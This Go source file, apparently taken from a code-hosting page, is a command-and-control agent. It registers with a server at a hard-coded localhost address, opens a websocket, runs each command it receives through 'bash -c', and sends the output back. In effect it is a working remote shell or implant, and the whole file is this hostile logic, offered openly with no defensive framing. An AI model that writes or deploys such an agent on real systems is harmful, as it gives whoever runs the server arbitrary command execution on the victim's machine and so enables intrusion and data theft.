136 lines
3.1 KiB
Go
136 lines
3.1 KiB
Go
package main
|
|
|
|
import (
|
|
// "bytes"
|
|
// "encoding/json"
|
|
"fmt"
|
|
"log"
|
|
"net/http"
|
|
"net/url"
|
|
// "os"
|
|
"os/exec"
|
|
"time"
|
|
"math/rand"
|
|
"math"
|
|
"strconv"
|
|
|
|
"github.com/gorilla/websocket"
|
|
)
|
|
|
|
const(
|
|
webServerAddr = "127.0.0.1:3333"
|
|
webSocketAddr = "127.0.0.1:5555"
|
|
registerURL = "http://" + webServerAddr + "/agents"
|
|
// wsURL = "ws://" + webSocketAddr + "/data"
|
|
)
|
|
|
|
type Agent struct {
|
|
AgentName string `json:"agentName"`
|
|
AgentID string `json:"agentId"`
|
|
AgentIP string `json:"agentIp"`
|
|
InitialContact string `json:"initialContact"`
|
|
LastContact string `json:"lastContact"`
|
|
}
|
|
|
|
|
|
var conn *websocket.Conn
|
|
|
|
func registerAgent(agentName string, agentId string, agentIp string) error {
|
|
// agent:= Agent{
|
|
// AgentName: agentName,
|
|
// InitialContact: time.Now().Format(time.RFC3339),
|
|
// LastContact: time.Now().Format(time.RFC3339),
|
|
// }
|
|
|
|
// jsonData, err := json.Marshal(agent)
|
|
// if err != nil {
|
|
// return fmt.Errorf("Error marshaling agent data: %v", err)
|
|
// }
|
|
|
|
// resp, err := http.Post(registerURL, "application/json", bytes.NewBuffer(jsonData))
|
|
|
|
form := url.Values{}
|
|
form.Add("agentId", agentId)
|
|
form.Add("agentName", agentName)
|
|
form.Add("IPv4Address", agentIp)
|
|
|
|
resp, err := http.PostForm(registerURL, form)
|
|
if err != nil {
|
|
return fmt.Errorf("Error registering agent: %v", err)
|
|
}
|
|
defer resp.Body.Close()
|
|
|
|
if resp.StatusCode != http.StatusCreated {
|
|
return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
|
|
}
|
|
|
|
log.Printf("Agent %s successfully registered.", agentName)
|
|
return nil
|
|
}
|
|
|
|
|
|
func connectToWebSocket(agentName string, agentIp string) error {
|
|
wsURL := fmt.Sprintf("ws://%s/data?agentName=%s&IPv4Address=%s", webSocketAddr, url.QueryEscape(agentName), url.QueryEscape(agentIp))
|
|
var err error
|
|
conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
|
|
if err != nil {
|
|
return fmt.Errorf("Failed to connect to WebSocket: %v", err)
|
|
}
|
|
|
|
log.Println("WebSocket connection established")
|
|
return nil
|
|
}
|
|
|
|
func listenForCommands() {
|
|
defer conn.Close()
|
|
|
|
for {
|
|
_, message, err := conn.ReadMessage()
|
|
if err != nil {
|
|
log.Printf("Error reading message: %v", err)
|
|
break
|
|
}
|
|
|
|
command := string(message)
|
|
log.Printf("Received command: %s", command)
|
|
|
|
cmd := exec.Command("bash", "-c", command)
|
|
output, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
output = append(output, []byte(fmt.Sprintf("\n Error executing command: %v", err))...)
|
|
}
|
|
|
|
if err := conn.WriteMessage(websocket.TextMessage, output); err != nil {
|
|
log.Printf("Error sending output: %v", err)
|
|
break
|
|
}
|
|
|
|
log.Printf("Output sent to server.")
|
|
}
|
|
}
|
|
|
|
func randomInt(length int) int {
|
|
rand.Seed(time.Now().UnixNano())
|
|
min := int(math.Pow10(length-1))
|
|
max := int(math.Pow10(length)) -1
|
|
return rand.Intn(max-min+1) + min
|
|
|
|
}
|
|
|
|
func main() {
|
|
agentName := "Agent-001"
|
|
// agentId := "1234"
|
|
agentId := strconv.Itoa(randomInt(5))
|
|
agentIp := "127.0.0.1"
|
|
|
|
if err := registerAgent(agentName, agentId, agentIp); err != nil {
|
|
log.Fatalf("Agent registration failed: %v", err)
|
|
}
|
|
|
|
if err := connectToWebSocket(agentName, agentIp); err != nil {
|
|
log.Fatalf("Websocket connection failed: %v", err)
|
|
}
|
|
|
|
listenForCommands()
|
|
}
|